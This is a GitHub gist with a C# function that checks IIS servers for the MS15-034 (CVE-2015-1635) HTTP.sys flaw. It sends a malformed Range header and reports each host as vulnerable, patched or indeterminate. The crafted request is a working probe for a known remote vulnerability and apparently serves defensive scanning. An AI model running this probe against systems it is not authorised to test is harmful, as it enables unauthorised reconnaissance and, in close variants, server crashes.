Created
April 16, 2015 11:45
-
-
Save buraksarica/f37c1415f8c898c50003 to your computer and use it in GitHub Desktop.
MS15-034 Test
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Sends CVE-2015-1635 / MS15-034 Test Request and checks for vulnerability | |
// based on https://gist.github.com/Zagrophyte/0fa7a8e2e507fac2b59d | |
static string TestMS15_034(String host, string staticFile, int port = 80) | |
{ | |
TcpClient tc = new TcpClient(); | |
string result = ""; | |
try | |
{ | |
tc.Connect(host, port); | |
using (NetworkStream ns = tc.GetStream()) | |
{ | |
System.IO.StreamWriter sw = new System.IO.StreamWriter(ns); | |
System.IO.StreamReader sr = new System.IO.StreamReader(ns); | |
string req = ""; | |
req += "GET " + staticFile + " HTTP/1.0\r\n"; | |
req += "Host: " + host + "\r\n"; | |
req += "Range: bytes=0-18446744073709551615\r\n"; | |
req += "\r\n"; | |
sw.Write(req); | |
sw.Flush(); | |
var response = sr.ReadToEnd(); | |
if (response.Contains("Requested Range Not Satisfiable")) | |
{ | |
result = string.Format("{0}:{1} - VULNERABLE", host, port); | |
} | |
else if (response.Contains("The request has an invalid header name")) | |
{ | |
result = string.Format("{0}:{1} - Patched", host, port); | |
} | |
else | |
{ | |
result = string.Format("{0}:{1} - Indeterminate", host, port); | |
} | |
} | |
} | |
catch (Exception ex) | |
{ | |
result = string.Format("{0}:{1} - Indeterminate: {2}", host, port, ex.Message); | |
} | |
finally | |
{ | |
tc.Close(); | |
} | |
return result; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment